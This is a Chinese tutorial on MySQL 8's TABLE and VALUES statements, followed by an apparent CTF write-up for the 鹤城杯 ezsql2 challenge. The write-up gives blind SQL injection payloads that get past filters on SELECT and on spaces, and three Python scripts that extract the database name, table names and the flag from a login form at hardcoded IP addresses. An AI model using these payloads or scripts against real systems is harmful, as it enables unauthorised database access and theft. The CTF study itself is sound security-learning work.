table语句

table语句

mysql8版本上线了新的特性,就是table语句和VALUES语句

table语句

作用

1
2
3
1. 具体用来在小表的扫描,如:路由表、配置类表、简单映射表等

2. 用来替换是被当做子查询的这类小表的SELECT语句

具体语法

1
table table_name [order by column_name] [LIMIT number [OFFSET number]]

从语法中的order by column_name可以看出,可以排序,也可以过滤记录集

简单全表扫描

传统语法

1
select * from t1;

table语句

1
table t1;

VALUES语句

作用

1
用做功能展示或快速造数据场景,结果列名字以column_0开头,以此类推

单条values语句

语法

1
values row(1,2,3);

结果

1
2
3
4
5
6
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1| 2| 3|
+----------+----------+----------+
1 row inset(0.00 sec)

多条values语句

语法

1
values row(1,2,3),row(10,9,8);

结果

1
2
3
4
5
6
7
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | 2 | 3 |
| 10 | 9 | 8 |
+----------+----------+----------+
2 rows in set (0.00 sec)

多条 VALUES 联合 UNION ALL

语法

1
2
values row(1,2,3),row(10,9,8) union all values \
row(-1,-2,0),row(10,29,30),row(100,20,-9);

结果

1
2
3
4
5
6
7
8
9
10
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | 2 | 3 |
| 10 | 9 | 8 |
| -1 | -2 | 0 |
| 10 | 29 | 30 |
| 100 | 20 | -9 |
+----------+----------+----------+
5 rows in set (0.00 sec)

根据字段下标排序,从1开始的多条values联合union all values

语法

1
2
values row(1,2,3),row(10,9,8) union all values \
row(-1,-2,0),row(10,29,30),row(100,20,-9) order by 1 desc ;

结果

1
2
3
4
5
6
7
8
9
10
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 100 | 20 | -9 |
| 10 | 9 | 8 |
| 10 | 29 | 30 |
| 1 | 2 | 3 |
| -1 | -2 | 0 |
+----------+----------+----------+
5 rows in set (0.00 sec)

实例(鹤城杯ezsql2)

那时我的想法是使用异或注入,但是发现重要的select被过滤掉了,然后发现mysql版本是8以上,所以可以使用table语句来绕过select过滤

爆数据库

1
admn'||(ascii(substr(database(),1,1))=32)#

爆出数据库为ctf

爆数据表,我们知道数据表的信息一般存储在information_schema.tables中,所以我们可以使用table语句来读取

1
admin'/**/and/**/ROW('ctf',{},1,2,3,4)>(TABLE/**/information_schema.tables/**/order/**/by/**/database_name/**/limit/**/1,1)#

由于infoemation_schema.tables被过滤掉了,所以可以使用mysql.innodb_table_stats来读取数据表的信息,其中

1
ROW('ctf',{},1,2,3,4)

意思是每条列的第一行进行比较,从而爆出ctf库中的数据表有哪些,爆出数据表为f11114g

爆数据表中的信息,可以利用mysql8新增的特性table语句来构造盲注

1
admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#

所以我们可以写exp

爆数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding=utf-8
import requests
import threading
import string
import time
import sys
pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~'
url=""


sql="user()"


def blindequ(start,end):
ret=""
for i in range(start,end):
for ch in pt:
payload="admn'||(substr({0},{1},1)='{2}')#".format(sql,i,ch)
data = {
"username":payload,
"password":'a'
}
#print data
#req=requests.post(url,data=data,allow_redirects=False)
req=requests.post(url+"/login.php",data=data)
#print req.text
#if req.status_code!=200 and req.status_code!=302:
# continue
if "password error!" in req.text:
ret=ret+ch
sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
break
print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")


blindequ(1,20)

爆数据表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests as req
import binascii
flag = ''
url = "http://182.116.62.85:26571/login.php"
def trans(a):
a = binascii.b2a_hex(a.encode('utf-8'))
return '0x'+str(a,'utf-8')

for i in range(1,500):
hexstr = ''
for char in range(32, 126):
hexstr = trans(flag+ chr(char))
#fl11aag
payload = "admin'/**/and/**/ROW('ctf',{},1,2,3,4)>(TABLE/**/mysql.innodb_table_stats/**/order/**/by/**/database_name/**/limit/**/1,1)#".format(hexstr)
#payload = "admin'/**/and/**/({})=>binary(TABLE/**/ctf.fl11aag/**/limit/**/1,1)#".format(hexstr)
datas = {"username":payload,"password":"admin"}
r = req.post(url,data=datas)
if("login success" in r.text):
flag = flag + chr(char-1)
print(flag)
break

最后读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = 'http://139.129.98.9:30003/login.php'
payload = 'admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#'
passa='123'
result = ''
for j in range(1,500):
for i in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
py = payload.format(j,i)
post_data = {'username': py,'password':passa}
re = requests.post(url, data=post_data)
if 'password' in re.text:
result += i
print(result)
break

参考文章:[https://mp.weixin.qq.com/s?__biz=Mzg5NDY4NTc4NQ==&mid=2247483781&idx=1&sn=1cdb501787ea1c4bdbbe269b055f264c&chksm=c01a86b3f76d0fa579033988aa71990448ff48e27e3def9feac994b81d9b1e3e7f6740188533&mpshare=1&scene=23&srcid=1014L5fi7dWAaVU0EiVOulsW&sharer_sharetime=1634199160117&sharer_shareid=2cd15dd5abca7cee0fa30d6c72437d05#rd]

[https://www.crisprx.top/archives/203]

[https://zhuanlan.zhihu.com/p/116632771]